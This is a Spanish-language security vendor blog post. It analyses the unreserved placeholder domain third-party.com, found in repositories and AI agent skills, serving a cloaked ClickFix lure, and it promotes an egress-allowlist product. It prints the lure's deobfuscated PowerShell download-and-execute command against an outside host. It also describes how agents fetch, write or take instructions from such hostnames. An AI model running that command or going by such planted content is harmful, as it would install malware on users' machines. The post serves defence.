← Volver a todas las publicaciones
Publicado el · por Renaud Deraison

La skill apuntaba a third-party.com, y third-party.com respondió

Manifold Security encontró third-party.com, un marcador de posición de documentación presente en 1.500 archivos repartidos por 1.700 repositorios, entre ellos Chromium, Vercel y Brave, y dentro de skills públicas de agentes, sirviendo un señuelo ClickFix desde junio. Alguien registró el dominio en 1996. Entrega una página limpia a todo lo que parezca un escáner, y la única blocklist que lo marcó se rindió diez días después. Un hostname es la única dependencia para la que ningún lockfile tiene una línea, y Bromure Agentic Coding la responde con la lista de los sitios a los que el workspace puede llamar.

Una dependencia que auditas tiene una versión, un mantenedor y una línea en un lockfile. El hostname de una URL de ejemplo tiene un dueño y nada más, y los dueños cambian de opinión.

Le pides al agente que cargue un widget de forma diferida. Abre una skill que instalaste hace meses, lee el fragmento Liquid que la skill ofrece como implementación de referencia, y el src del fragmento es https://third-party.com/widget.js.

Tú lo lees como un hueco por rellenar. El agente lee un hostname que resuelve, un servidor que responde y un dueño que decide cuál es la respuesta. Marcador de posición es una convención entre personas que escriben documentación para otras personas. No es una propiedad de la cadena.

El dominio en 1.700 repositorios

El 23 de septiembre, Ax Sharma y Cody Nash, de Manifold Security, publicaron un análisis de third-party.com, un dominio que la mayoría de los desarrolladores conoce como relleno. The Hacker News lo cubrió al día siguiente. Desde al menos junio de 2026 el dominio sirve un señuelo ClickFix: la página deja un comando en tu portapapeles y luego te pide que lo pegues en algún sitio que lo ejecute.

Una frase del informe carga con toda la premisa: “A diferencia de example[.]com, third-party[.]com no está reservado por la IANA. Cualquiera podía registrarlo, y alguien lo hizo.” Alguien lo registró en 1996 a través de Network Solutions, y desde entonces ha cambiado de manos como cualquier otro dominio, con treinta años de historial limpio a su espalda.

Una búsqueda de código en GitHub devuelve más de 1.500 archivos en más de 1.700 repositorios. Manifold nombra entre ellos a Chromium, Sanity, Vercel, Brave y HackTricks. Y third-party.com no está solo: The Hacker News cuenta trece marcadores de posición no reservados más que hoy sirven scareware, falsas alertas de seguridad y estafas de inversión, entre ellos yourdomain.com, yoursite.com, myapp.com, acme.com, company.com y vendor.com, repartidos por cientos de miles de archivos de GitHub y cientos de skills de agentes.

Un navegador Windows recibe una falsa página de verificación de Cloudflare. El JavaScript escribe en el portapapeles mediante un textarea oculto y un evento copy secuestrado, y la página te dice que pulses Win+R, luego Ctrl+V, luego Intro. Desofuscado, el portapapeles contiene:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm descarga un script por HTTPS, iex lo ejecuta en memoria, y 2>$null se traga los errores. La página añade una cadena señuelo, “Security check, I'm not a robot, Verification ID” y unos dígitos, para que el cuadro Ejecutar muestre algo parecido a lo que la página pedía.

Entrega una página limpia a todo lo que comprueba

La carga importa menos que la selección. El servidor elige quién la ve, petición a petición.

Manifold, literalmente: “Consulta este dominio desde un rango de centro de datos, desde un crawler Linux, desde cualquier cosa que no sea la víctima prevista, y devuelve una página limpia.” Un Mac recibe una negativa: “macOS is not supported. This website requires a Windows PC to access.” El señuelo se dispara para el visitante para el que el operador lo escribió.

La blocklist de IPFire marcó el dominio el 7 de julio de 2026 y lo retiró diez días después, el 17 de julio. Quien mantiene esa lista no pudo reproducir la respuesta maliciosa, porque el servidor no se la sirve. Tres meses después, el dominio sigue vivo, sigue encubierto y sigue en 1.700 repositorios.

Los feeds de reputación no tienen nada que transportar aquí, y no hay ningún advisory al que suscribirse. Nadie comprometió este dominio. Alguien es su dueño.

Entre los portadores están las skills de tu agente

Manifold fue a mirar en los sitios que leen los agentes y encontró la cadena en tres skills públicas.

shopify-expert, en jeffallan/claude-skills (unas 11.000 estrellas), la usa en un fragmento Liquid para cargar de forma diferida un widget de terceros. alova-server-usage, en alovajs/skills, la usa en un ejemplo de pasarela OAuth. Y dynamic-dashboard-builder, de ClawHub, la usa dentro de un bloque titulado “Wrong: Hardcoded endpoint, NEVER do this.”

Ese ejemplo de advertencia es una URL viva. Tres llamadas a herramientas después, cuando el modelo escribe el código, tiene que haber arrastrado el marco de no-hagas-esto junto con la cadena, y la cadena es idéntica en ambos casos.

Un hostname de documentación llega a la red de tres maneras, y una sola sesión puede recorrer las tres:

  • Lo descarga. Las skills y las documentaciones de servidores MCP están llenas de endpoints, y un agente que comprueba si un fragmento funciona los resuelve. Lo que vuelve llega al contexto del modelo como una salida de herramienta cualquiera.
  • Lo escribe. El fragmento aterriza en tu código fuente, el diff pasa la revisión, y el atributo src que nadie leyó se va a los navegadores de tus usuarios. Manifold documenta el señuelo disparándose en navegadores Windows, que es lo que ejecuta buena parte de esos usuarios.
  • Lee instrucciones desde ahí. ClickFix se dirige a quien esté leyendo. La versión de hoy apunta a una persona ante un teclado Windows, y un agente Linux recibe la página de “no compatible”. El servidor ya identifica a quienes lo llaman y sirve tres respuestas distintas. Una cuarta respuesta, para clientes que parezcan agentes, le cuesta al operador una línea de configuración.
Una cadena en la documentación, y las cuatro respuestas1.500 archivos, 1.700 reposREADME.mddocs de servidor MCPshopify-expert/SKILL.mddynamic-dashboard-builderla última lo marca como contraejemploel agente lee,luego resuelvethird-party.comregistrado en 1996, no reservadoidentifica a cada llamanteel dueño elige la respuestaun navegador Windowsfalsa verificación → portapapeles → Win+Run Mac“macOS is not supported”un crawler, un centro de datos, un escáneruna página limpia, siemprelo que guarda el portapapeles, desofuscadopowershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"la consecuencia para la reputaciónIPFire: marcado 7 jul · retirado 17 july por qué ninguno de tus controles actuales tiene una opiniónsin versión que fijar · sin mantenedor en quien confiar · sin línea de lockfile · sin SBOM · sin CVE · sin advisoryse vuelve real una sola vez: cuando algo abre una conexión hacia él
El mismo hostname, cuatro respuestas distintas. Alguien registró third-party.com en 1996, y hoy aparece en más de 1.500 archivos: READMEs, documentaciones de servidores MCP y skills de agentes, incluida una que lo usa como ejemplo de lo que no hay que hacer. El servidor elige su respuesta según quién pregunte. Un navegador Windows recibe la falsa página de Cloudflare y un portapapeles lleno de PowerShell. Un Mac recibe una negativa. Un escáner o un crawler de centro de datos recibe una página limpia, y por eso IPFire marcó el dominio el 7 de julio de 2026 y lo retiró diez días después. Ningún manifiesto, lockfile o SBOM tiene una línea para un hostname.

Un marcador de posición es una dependencia que nadie declaró

El utillaje de supply chain trabaja con artefactos que tienen identidad. Un paquete tiene nombre, versión, registro, fecha de publicación y mantenedor, así que puedes fijarlo, ponerle una cuarentena por antigüedad, comprobar su procedencia y compararlo con el de la semana pasada. Un hostname en un comentario tiene una sola de esas propiedades: un dueño. Ninguna herramienta de tu pipeline lo resuelve, lo registra ni te avisa cuando cambia de manos. El control que alcanza a un marcador de posición tiene que apoyarse en las conexiones y no en los artefactos.

Dentro de un workspace Bromure

En Bromure Agentic Coding, el tráfico saliente de un workspace es una tabla de reglas ordenada. Las reglas se evalúan de arriba abajo, gana la primera que coincide, y un control segmentado Tráfico sin coincidencia fija el valor por defecto en Permitir o Denegar. Cada regla lleva una acción, un protocolo (tcp, udp, web o any), un host o un CIDR, puertos y, para las reglas web, una lista de métodos HTTP. Los hostnames coinciden por sufijo, así que example.com cubre el ápice y todos sus subdominios. La forma canónica es una regla por línea, terminada en default allow o default deny:

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

Un hostname que existe como convención tipográfica no está en esa lista. Tú escribiste la lista a partir de los sitios a los que llega el trabajo, y las cadenas de relleno no aparecen en ese conjunto. El workspace nunca tiene que aprender que third-party.com es hostil, lo cual ayuda, porque ningún feed lo dice. Solo tiene que ver una cosa: third-party.com no es github.com.

Tu Mac aplica el conjunto de reglas dos veces. El conmutador de red virtual coteja cada flujo por IP de destino y por hostname captado del DNS, tanto en TCP como en UDP, y el proxy del host lo coteja de nuevo por nombre de servidor TLS y, para las reglas web, por método HTTP individual. El conmutador desvía el tráfico de los puertos 80 y 443 de la VM hacia el proxy sin ninguna variable de entorno de por medio y sin nada que el invitado pueda desactivar. Las ediciones de reglas llegan de inmediato a las sesiones en curso, así que puedes apretar un workspace sin reiniciar a un agente en mitad de una tarea.

El agente en un portátillee la skill, resuelve la cadenaGET https://third-party.com/widget.jsnada se interpone entre el proceso y el DNSla respuesta cae en la ventana de contextolo que el dueño eligió servir a ese llamantey el fragmento conserva el hostname hasta la revisiónsin CVE, sin advisory, sin línea de lockfiley la blocklist ya dio su veredicto en juliote enteras cuando lo hace el navegador de un usuariono hay registro de que el hostname se tocara nuncaEl agente en un workspace Bromurelee la misma skill, en un invitado UbuntuGET https://third-party.com/widget.js:80 y :443 desviados al proxy del hostcotejada dos veces, en el Macswitch: IP de destino + host visto en DNSproxy: nombre TLS + método HTTPninguna regla coincide → default denyy un falso fuera de ámbito devuelve 451, VM en pausaSecurity Timeline, fila de Firewallthird-party.com:443 tcp — bloqueado
El mismo archivo de skill, dos máquinas. En un portátil, el agente resuelve el marcador de posición porque nada se interpone entre él y el DNS, la página descargada aterriza en el contexto del modelo, y el fragmento entra en tu código fuente con el hostname intacto. En un workspace Bromure, el host coteja la conexión dos veces, por IP de destino y hostname captado del DNS en el conmutador virtual y de nuevo por nombre de servidor TLS en el proxy, contra la lista de los sitios a los que el trabajo necesita llegar. El tráfico sin coincidencia puesto en Denegar lo termina ahí, y la negativa se convierte en una fila de Firewall que nombra el hostname, que es como encuentras la cadena en tu propia salida antes de que llegue a los navegadores de tus usuarios.

La fila de Firewall llega a tu diff

Bloquear la conexión acaba con la descarga. Sacar la cadena de tu código fuente requiere la fila.

Cada veredicto del cortafuegos aterriza en la ventana Security Timeline como una entrada de Firewall (la fila de ejemplo del propio manual dice evil.example:443 tcp — blocked), en una única tabla cronológica junto a los intercambios de credenciales, las decisiones de supply chain, las aplicaciones de guardrails y los aciertos de inyección de prompt, con colores y filtros.

La primera vez que algo en la sesión resuelva un hostname que no has listado, ese hostname está en tu pantalla con una marca de tiempo y el workspace del que vino. Vuelves al diff, encuentras el atributo src y lo arreglas antes de que la rama se fusione. La salida de red por sí sola no alcanza esa mitad de la historia, porque en el caso de “lo escribe” es el navegador de otra persona quien hace la petición peligrosa, semanas más tarde.

Otros dos controles están en el camino, y merece la pena activar los dos.

Los detectores de inyección de prompt puntúan el contenido no confiable de camino al modelo, es decir, contenidos de archivos, páginas web y salidas de herramienta transportadas en bloques tool_result, con un clasificador Prompt Guard local que corre en el dispositivo y no envía nada fuera del Mac. El texto de ClickFix es una instrucción dirigida a quien lo lea, que es precisamente la forma para la que se entrenó ese clasificador. Corre en el proxy del host, donde un agente dentro de la VM no puede apagarlo, y tú eliges qué hace un acierto: registrarlo, pausar y mostrarte el texto señalado, o rechazar la petición con un HTTP 451 que el modelo nunca ve.

La frontera de red cubre el caso en que una documentación convence al agente de autenticarse contra el marcador de posición. Ningún archivo, variable de entorno ni proceso dentro de la VM guarda una clave de API, un token OAuth, un secreto de AWS o una clave privada SSH reales. El invitado recibe un falso que preserva la estructura, y el host sustituye el valor real solo para el host para el que se emitió esa credencial. El proxy escanea las cabeceras y el cuerpo de cada petición saliente en busca de esos falsos con un autómata de Aho-Corasick. Uno que vaya a donde no le corresponde recibe HTTP 451 sin que se reenvíe un solo byte, pausa la VM, escribe una fila roja de Credential brokering y marca el workspace como comprometido, de modo que tu próximo lanzamiento te ofrece borrar su disco y su home conservando tus tokens y tus ajustes.

Reserva tus marcadores de posición

example.com, example.org, example.net y el TLD .example están reservados por la IANA, y nadie puede comprarlos. third-party.com, acme.com y yourcompany.com son dominios corrientes. Pasa un grep por tus skills, tus configuraciones MCP y tus READMEs buscando los que nadie reservó.

Escribe la lista de destinos una vez

Un workspace necesita un conjunto de hosts corto y estable: tu forja, tu registro, tu endpoint de modelo, tu API. Pon el tráfico sin coincidencia en Denegar, y los hostnames en los que nadie pensó, marcadores de posición incluidos, quedan resueltos sin que nadie los nombre.

No metas nada en la allowlist para callar a un escáner

Es la recomendación de la propia Manifold. Añade un dominio a una allowlist para que una comprobación se ponga verde y habrás prometido confiar en su dueño para siempre, sin haberlo conocido nunca.

Lee las filas de Firewall

Un hostname bloqueado que no reconoces te dice qué cadena recogió el agente, y te señala la parte del diff donde vas a encontrarla.

Alguien compró un dominio

Nadie envenenó un registro, tomó una cuenta de mantenedor, hizo typosquatting de un paquete, subvirtió un pipeline de CI ni engañó a un modelo. Alguien compró un dominio que estaba en venta, como llevaba en venta desde 1996, y lo apuntó a un servidor web.

La industria ha respondido al riesgo de supply chain dando a los artefactos mejores identidades: atestaciones de procedencia, firmas de sigstore, SBOM, digests fijados. Ese trabajo es bueno, y no toca esto, porque lo que está en 1.700 repositorios es una cadena y no un artefacto. Los desarrolladores la copiaron de un README al siguiente durante años, y existe como cosa real durante lo que dura una resolución DNS y una conexión TCP.

Gobierna ese momento. Dale al workspace una lista de los sitios a los que va el trabajo, aplícala en un lugar que el agente no alcance, y lee las filas buscando nombres que tú no pusiste ahí. Un marcador de posición que no resuelve vuelve a ser el inofensivo trozo de tipografía que creías que era.